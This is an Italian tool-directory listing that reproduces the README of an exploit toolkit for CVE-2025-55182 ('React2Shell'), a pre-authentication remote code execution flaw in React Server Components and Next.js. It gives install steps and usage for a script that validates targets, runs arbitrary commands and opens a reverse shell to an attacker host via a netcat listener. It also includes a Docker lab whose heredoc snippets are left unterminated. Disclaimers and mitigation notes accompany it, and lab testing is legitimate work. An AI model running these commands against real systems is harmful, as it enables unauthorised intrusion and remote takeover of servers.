Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182 — Un semplice toolkit per validare, sfruttare e ottenere una shell interattiva tramite la RCE di react2Shell su Next.js. | Kitploit
Strumenti/GitHubGitHub/j4ck3lsyn-gen2/cve-2025-55182
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneStrumento di Accesso RemotoSviluppo Payload
GitHubj4ck3lsyn-gen2/cve-2025-55182

CVE-2025-55182

Un semplice toolkit per validare, sfruttare e ottenere una shell interattiva tramite la RCE di react2Shell su Next.js.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182: React2Shell - Toolkit per l'esecuzione remota di codice in Next.js

CVE-2025-55182 CVSS License

[!WARNING] Questo strumento è fornito esclusivamente per test autorizzati e scopi educativi. L'accesso non autorizzato alla rete e l'esfiltrazione di dati sono illegali. Gli utenti sono responsabili di garantire di avere la debita autorizzazione prima di utilizzare questo strumento su qualsiasi rete.

Panoramica

Questo repository contiene un semplice toolkit per validare, sfruttare e ottenere una shell interattiva tramite CVE-2025-55182, noto anche come React2Shell. Si tratta di una vulnerabilità critica di esecuzione remota di codice (RCE) pre-autenticazione in React Server Components (RSC) che interessa le versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0.

La vulnerabilità deriva da una deserializzazione non sicura nel protocollo Flight di React, consentendo a attaccanti non autenticati di eseguire codice arbitrario su server vulnerabili. È stata divulgata il 3 dicembre 2025 e ha un punteggio CVSS di 10.0 (Critico). Sebbene colpisca principalmente React Server Components, ha implicazioni per framework come Next.js che utilizzano RSC.

Nota: Questo toolkit è destinato esclusivamente a scopi educativi e di ricerca. Lo sfruttamento non autorizzato di vulnerabilità è illegale e non etico. Utilizzare in modo responsabile e solo su sistemi di propria proprietà o per i quali si ha esplicita autorizzazione.

Componenti interessati

  • React Server Components: Versioni 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Framework correlati: Next.js (potenzialmente tramite CVE-2025-66478 in alcuni contesti)
  • Vettore di sfruttamento: Deserializzazione non sicura nei payload RSC, che consente RCE senza autenticazione.

Per maggiori dettagli, consultare gli avvisi ufficiali:

  • NVD CVE-2025-55182
  • Avviso di sicurezza React
  • Blog Wiz su React2Shell

Utilizzo

Utilizzo


Caratteristiche

  • Validazione: Verifica se un target è vulnerabile a CVE-2025-55182.
  • Sfruttamento: Crea payload per eseguire comandi arbitrari.
  • Shell interattiva: Ottieni una shell inversa per accesso persistente.
  • Supporta Python 3.x con dipendenze minime.

Requisiti

  • Python 3.8+
  • Librerie richieste: requests, argparse (installare tramite pip install -r requirements.txt)

Installazione

Installazione tramite ambiente virtuale

  1. Clona il repository
root@kitploit:~
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
  1. Ambiente virtuale
root@kitploit:~
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
  1. Attiva
root@kitploit:~
source CVE202555182Venv/bin/activate[.fish]

Installazione locale

  1. Clona il repository:
    root@kitploit:~
    git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
    cd CVE-2025-55182
    
  2. Installa le dipendenze:
    root@kitploit:~
    pip install -r requirements.txt
    

Utilizzo

Lo script principale è sploit.py. Eseguilo con le seguenti opzioni:

root@kitploit:~
python sploit.py --help

Opzioni

  • --target <URL>: L'URL del target (es. http://vulnerable-site.com).
  • --mode <validate|sploit|shell>: Modalità di funzionamento.
    • validate: Verifica la vulnerabilità senza sfruttarla.
    • sploit: Esegue un comando personalizzato.
    • shell: Stabilisce una shell inversa interattiva.
  • --command <CMD>: Comando da eseguire (richiesto per la modalità sploit).
  • --lhost <IP>: Host locale per la shell inversa (richiesto per la modalità shell).
  • --lport <PORT>: Porta locale per la shell inversa (default: 4444).

Esempi

  1. Validare la vulnerabilità:

    root@kitploit:~
    python sploit.py --target http://example.com --mode validate
    
  2. Sfruttamento con esecuzione di comandi:

    root@kitploit:~
    python sploit.py --target http://example.com --mode sploit --command "whoami"
    
  3. Ottenere una shell interattiva: Per prima cosa, imposta un listener (es. nc -lvnp 4444), poi:

    root@kitploit:~
    python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
    

Come funziona

  1. Rilevamento della vulnerabilità: Invia un payload RSC appositamente preparato per rilevare difetti di deserializzazione.
  2. Creazione del payload: Utilizza la deserializzazione non sicura per iniettare codice tramite il protocollo Flight di React.
  3. Accesso shell: Passa a una shell inversa eseguendo un payload che si riconnette alla macchina dell'attaccante.

Per approfondimenti tecnici:

  • Analisi di Datadog Security Labs
  • Blog Dynatrace

Esempio di esecuzione

Esempio di esecuzione


Installazione tramite Docker

root@kitploit:~

{
  "dependencies": {
    "next": "14.3.0-canary.77",
    "react": "19.0.0",
    "react-dom": "19.0.0"
  },
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start"
  }
}

Elimina completamente tsconfig.json (questa è la chiave che stava bloccando la build)

root@kitploit:~

rm tsconfig.json

Crea i file minimi richiesti per App Router

root@kitploit:~

mkdir -p app

# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";

export default function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  );
}

app/globals.css (può essere sostanzialmente vuoto)

root@kitploit:~
echo "/* minimal css - required by Next.js */" > app/globals.css

app/page.tsx (qui va la tua vera pagina vulnerabile – stub di esempio)

root@kitploit:~
cat > app/page.tsx << 'EOF'
export default function Home() {
  return (
    <main>
      <h1>react2shell lab is running!</h1>
      <p>Start sploiting → /api/vulnerable-endpoint</p>
    </main>
  );
}

Crea il Dockerfile finale a prova di proiettile (contenuto esatto)

root@kitploit:~

FROM node:20-alpine

WORKDIR /app

# Copy only package files first (better caching)
COPY package*.json ./

# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps

# Copy the rest of the app
COPY . .

# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json

# Build the Next.js app
RUN npm run build

# Expose port
EXPOSE 3000

# Start the app
CMD ["npm", "start"]

Build ed esecuzione (questi comandi ora funzionano perfettamente)

root@kitploit:~

docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell

Apri nel browser

→ http://localhost:3000Hai finito. Il container si avvia in meno di 2 secondi ed è pronto per catene di prototype pollution → RCE.Comando opzionale per distruggere e riavviare in qualsiasi momento:bash

root@kitploit:~
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell

Mitigazione

  • Aggiorna React alla versione 19.2.1 o successiva.
  • Disabilita o limita React Server Components se non necessario.
  • Monitora i tentativi di sfruttamento, poiché attori sponsorizzati da stati (es. gruppi legati alla Cina) sono stati osservati mentre sfruttavano rapidamente questa CVE.

Consulta il blog di AWS Security per intelligence sulle minacce.

Dichiarazione di non responsabilità

Questo strumento è fornito "così com'è" senza garanzia. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo toolkit. Ottieni sempre l'autorizzazione prima di testare le vulnerabilità.

Contributi

I pull request sono benvenuti! Per modifiche sostanziali, apri prima un ticket.

Licenza

Questo progetto è concesso in licenza secondo i termini della licenza MIT - consulta il file LICENSE per i dettagli.

Riferimenti

  • Avviso Cisco
  • Report Palo Alto Unit 42
  • Notizie CMU ISO
  • Blog Cloudflare
  • Blog Huntress
  • Blog JFrog
  • Elastic Security
Il tuo badge immagine
Scarica lo strumento